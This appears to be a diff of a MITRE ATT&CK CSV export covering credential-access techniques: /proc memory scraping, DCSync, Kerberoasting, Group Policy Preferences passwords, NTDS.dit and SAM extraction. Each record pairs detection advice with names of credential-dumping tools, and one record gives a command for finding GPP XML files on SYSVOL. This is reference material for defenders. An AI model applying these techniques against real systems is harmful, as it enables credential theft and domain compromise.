-",attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4,attack-pattern,['credential-access'],2020-03-20T15:56:55.022Z,2020-02-11T18:46:56.263Z,"The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.","['Command: Command Execution', 'File: File Access']",,,['root'],['Linux'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1003.007', 'url': 'https://attack.mitre.org/techniques/T1003/007'}, {'url': 'https://github.com/huntergregal/mimipenguin', 'description': 'Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.', 'source_name': 'MimiPenguin GitHub May 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1003/007,mitre-attack,T1003.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Proc Filesystem,"Adversaries may gather credentials from information stored in the Proc filesystem or /proc. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. +",['credential-access'],https://attack.mitre.org/techniques/T1003/008,mitre-attack,T1003.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Access']",,"The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.",True,['root'],['Linux'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/007', 'external_id': 'T1003.007'}, {'source_name': 'MimiPenguin GitHub May 2017', 'description': 'Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.', 'url': 'https://github.com/huntergregal/mimipenguin'}]",1.0,attack-pattern,attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:46:24.434Z,2020-03-19T15:32:18.098Z,Proc Filesystem,"Adversaries may gather credentials from information stored in the Proc filesystem or /proc. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. -This functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.",attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d,attack-pattern,['credential-access'],2020-03-19T15:32:18.098Z,2020-02-11T18:46:24.434Z,"To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/\*/maps, where the \* directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.","['Command: Command Execution', 'File: File Access']",,,['root'],['Linux'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1003.006', 'url': 'https://attack.mitre.org/techniques/T1003/006'}, {'url': 'https://msdn.microsoft.com/library/cc228086.aspx', 'description': 'Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.', 'source_name': 'Microsoft DRSR Dec 2017'}, {'url': 'https://msdn.microsoft.com/library/dd207691.aspx', 'description': 'Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.', 'source_name': 'Microsoft GetNCCChanges'}, {'url': 'https://wiki.samba.org/index.php/DRSUAPI', 'description': 'SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.', 'source_name': 'Samba DRSUAPI'}, {'url': 'https://source.winehq.org/WineAPI/samlib.html', 'description': 'Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.', 'source_name': 'Wine API samlib.dll'}, {'url': 'https://adsecurity.org/?p=1729', 'description': 'Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.', 'source_name': 'ADSecurity Mimikatz DCSync'}, {'url': 'http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/', 'description': 'Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.', 'source_name': 'Harmj0y Mimikatz and DCSync'}, {'url': 'https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM', 'description': 'Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.', 'source_name': 'InsiderThreat ChangeNTLM July 2017'}, {'url': 'https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump', 'description': 'Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.', 'source_name': 'GitHub Mimikatz lsadump Module'}, {'url': 'https://msdn.microsoft.com/library/cc237008.aspx', 'description': 'Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.', 'source_name': 'Microsoft NRPC Dec 2017'}, {'url': 'https://msdn.microsoft.com/library/cc245496.aspx', 'description': 'Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.', 'source_name': 'Microsoft SAMR'}, {'url': 'https://adsecurity.org/?p=1729', 'description': 'Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.', 'source_name': 'AdSecurity DCSync Sept 2015'}, {'url': 'http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/', 'description': 'Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.', 'source_name': 'Harmj0y DCSync Sept 2015'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1003/006,mitre-attack,T1003.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,DCSync,"Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync. +This functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.",['credential-access'],https://attack.mitre.org/techniques/T1003/007,mitre-attack,T1003.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Access']",,"To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/\*/maps, where the \* directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",True,['root'],['Linux'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/006', 'external_id': 'T1003.006'}, {'source_name': 'Microsoft DRSR Dec 2017', 'description': 'Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.', 'url': 'https://msdn.microsoft.com/library/cc228086.aspx'}, {'source_name': 'Microsoft GetNCCChanges', 'description': 'Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.', 'url': 'https://msdn.microsoft.com/library/dd207691.aspx'}, {'source_name': 'Samba DRSUAPI', 'description': 'SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.', 'url': 'https://wiki.samba.org/index.php/DRSUAPI'}, {'source_name': 'Wine API samlib.dll', 'description': 'Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.', 'url': 'https://source.winehq.org/WineAPI/samlib.html'}, {'source_name': 'ADSecurity Mimikatz DCSync', 'description': 'Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.', 'url': 'https://adsecurity.org/?p=1729'}, {'source_name': 'Harmj0y Mimikatz and DCSync', 'description': 'Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.', 'url': 'http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/'}, {'source_name': 'InsiderThreat ChangeNTLM July 2017', 'description': 'Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.', 'url': 'https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM'}, {'source_name': 'GitHub Mimikatz lsadump Module', 'description': 'Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.', 'url': 'https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump'}, {'source_name': 'Microsoft NRPC Dec 2017', 'description': 'Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.', 'url': 'https://msdn.microsoft.com/library/cc237008.aspx'}, {'source_name': 'Microsoft SAMR', 'description': 'Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.', 'url': 'https://msdn.microsoft.com/library/cc245496.aspx'}, {'source_name': 'AdSecurity DCSync Sept 2015', 'description': 'Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.', 'url': 'https://adsecurity.org/?p=1729'}, {'source_name': 'Harmj0y DCSync Sept 2015', 'description': 'Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.', 'url': 'http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/'}]",1.0,attack-pattern,attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:45:34.293Z,2021-04-22T20:20:14.595Z,DCSync,"Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync. Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017) -DCSync functionality has been included in the ""lsadump"" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)",attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163,attack-pattern,['credential-access'],2021-04-22T20:20:14.595Z,2020-02-11T18:45:34.293Z,"Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015) +DCSync functionality has been included in the ""lsadump"" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)",['credential-access'],https://attack.mitre.org/techniques/T1003/006,mitre-attack,T1003.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['ExtraHop', 'Vincent Le Toux']","['Active Directory: Active Directory Object Access', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015) -Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)","['Active Directory: Active Directory Object Access', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']","['ExtraHop', 'Vincent Le Toux']",,['Administrator'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1558.003', 'url': 'https://attack.mitre.org/techniques/T1558/003'}, {'external_id': 'CAPEC-509', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/509.html'}, {'url': 'https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1', 'description': 'EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.', 'source_name': 'Empire InvokeKerberoast Oct 2016'}, {'url': 'https://adsecurity.org/?p=2293', 'description': 'Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', 'source_name': 'AdSecurity Cracking Kerberos Dec 2015'}, {'url': 'https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/', 'description': 'Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', 'source_name': 'Microsoft Detecting Kerberoasting Feb 2018'}, {'url': 'https://msdn.microsoft.com/library/ms677949.aspx', 'description': 'Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.', 'source_name': 'Microsoft SPN'}, {'url': 'https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx', 'description': 'Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.', 'source_name': 'Microsoft SetSPN'}, {'description': 'Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.', 'source_name': 'SANS Attacking Kerberos Nov 2014', 'url': 'https://redsiege.com/kerberoast-slides'}, {'url': 'https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/', 'description': 'Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.', 'source_name': 'Harmj0y Kerberoast Nov 2016'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.1,True,https://attack.mitre.org/techniques/T1558/003,mitre-attack,T1558.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Kerberoasting,"Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) +Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)",True,['Administrator'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1558/003', 'external_id': 'T1558.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/509.html', 'external_id': 'CAPEC-509'}, {'source_name': 'Empire InvokeKerberoast Oct 2016', 'description': 'EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.', 'url': 'https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1'}, {'source_name': 'AdSecurity Cracking Kerberos Dec 2015', 'description': 'Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', 'url': 'https://adsecurity.org/?p=2293'}, {'source_name': 'Microsoft Detecting Kerberoasting Feb 2018', 'description': 'Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', 'url': 'https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/'}, {'source_name': 'Microsoft SPN', 'description': 'Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.', 'url': 'https://msdn.microsoft.com/library/ms677949.aspx'}, {'source_name': 'Microsoft SetSPN', 'description': 'Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.', 'url': 'https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx'}, {'source_name': 'SANS Attacking Kerberos Nov 2014', 'description': 'Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.', 'url': 'https://redsiege.com/kerberoast-slides'}, {'source_name': 'Harmj0y Kerberoast Nov 2016', 'description': 'Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.', 'url': 'https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/'}]",1.1,attack-pattern,attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:43:38.588Z,2020-10-20T19:30:10.687Z,Kerberoasting,"Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) @@ -1532,8 +1724,8 @@ Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request This same attack could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015) -Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee,attack-pattern,['credential-access'],2020-10-20T19:30:10.687Z,2020-02-11T18:43:38.588Z,"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)",['Active Directory: Active Directory Credential Request'],['Praetorian'],,,['Windows'],,CAPEC-509,https://capec.mitre.org/data/definitions/509.html,['Valid domain account or the ability to sniff traffic within a domain'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1552.006', 'url': 'https://attack.mitre.org/techniques/T1552/006'}, {'source_name': 'Microsoft GPP 2016', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)', 'description': 'Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.'}, {'url': 'https://msdn.microsoft.com/library/cc422924.aspx', 'description': 'Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.', 'source_name': 'Microsoft GPP Key'}, {'url': 'https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html', 'description': 'Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.', 'source_name': 'Obscuresecurity Get-GPPPassword'}, {'description': 'Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.', 'url': 'https://adsecurity.org/?p=2288', 'source_name': 'ADSecurity Finding Passwords in SYSVOL'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1552/006,mitre-attack,T1552.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Group Policy Preferences,"Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016) +Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",['credential-access'],https://attack.mitre.org/techniques/T1558/003,mitre-attack,T1558.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],['Active Directory: Active Directory Credential Request'],,"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)",True,,['Windows'],,CAPEC-509,https://capec.mitre.org/data/definitions/509.html,['Valid domain account or the ability to sniff traffic within a domain'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/006', 'external_id': 'T1552.006'}, {'source_name': 'Microsoft GPP 2016', 'description': 'Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)'}, {'source_name': 'Microsoft GPP Key', 'description': 'Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.', 'url': 'https://msdn.microsoft.com/library/cc422924.aspx'}, {'source_name': 'Obscuresecurity Get-GPPPassword', 'description': 'Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.', 'url': 'https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html'}, {'source_name': 'ADSecurity Finding Passwords in SYSVOL', 'description': 'Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.', 'url': 'https://adsecurity.org/?p=2288'}]",1.0,attack-pattern,attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:43:06.253Z,2020-06-17T14:25:38.082Z,Group Policy Preferences,"Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016) These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key) @@ -1544,10 +1736,10 @@ The following tools and scripts can be used to gather and decrypt the password f * gpprefdecrypt.py On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml -",attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e,attack-pattern,['credential-access'],2020-06-17T14:25:38.082Z,2020-02-11T18:43:06.253Z,"Monitor for attempts to access SYSVOL that involve searching for XML files. +",['credential-access'],https://attack.mitre.org/techniques/T1552/006,mitre-attack,T1552.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Access', 'Command: Command Execution']",,"Monitor for attempts to access SYSVOL that involve searching for XML files. -Deploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)","['File: File Access', 'Command: Command Execution']",,,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1003.003', 'url': 'https://attack.mitre.org/techniques/T1003/003'}, {'url': 'https://en.wikipedia.org/wiki/Active_Directory', 'description': 'Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.', 'source_name': 'Wikipedia Active Directory'}, {'url': 'http://adsecurity.org/?p=1275', 'description': 'Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.', 'source_name': 'Metcalf 2015'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1003/003,mitre-attack,T1003.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,NTDS,"Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory) +Deploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/003', 'external_id': 'T1003.003'}, {'source_name': 'Wikipedia Active Directory', 'description': 'Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.', 'url': 'https://en.wikipedia.org/wiki/Active_Directory'}, {'source_name': 'Metcalf 2015', 'description': 'Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.', 'url': 'http://adsecurity.org/?p=1275'}]",1.0,attack-pattern,attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:42:35.572Z,2020-12-14T23:08:02.782Z,NTDS,"Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory) In addition to looking for NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015) @@ -1557,8 +1749,8 @@ The following tools and techniques can be used to enumerate the NTDS file and th * secretsdump.py * Using the in-built Windows tool, ntdsutil.exe * Invoke-NinjaCopy -",attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24,attack-pattern,['credential-access'],2020-12-14T23:08:02.782Z,2020-02-11T18:42:35.572Z,"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.","['File: File Access', 'Command: Command Execution']","['Ed Williams, Trustwave, SpiderLabs']",,['Administrator'],['Windows'],,,,['Access to Domain Controller or backup'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1003.002', 'url': 'https://attack.mitre.org/techniques/T1003/002'}, {'url': 'https://github.com/Neohapsis/creddump7', 'description': 'Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.', 'source_name': 'GitHub Creddump7'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1003/002,mitre-attack,T1003.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Security Account Manager,"Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access. 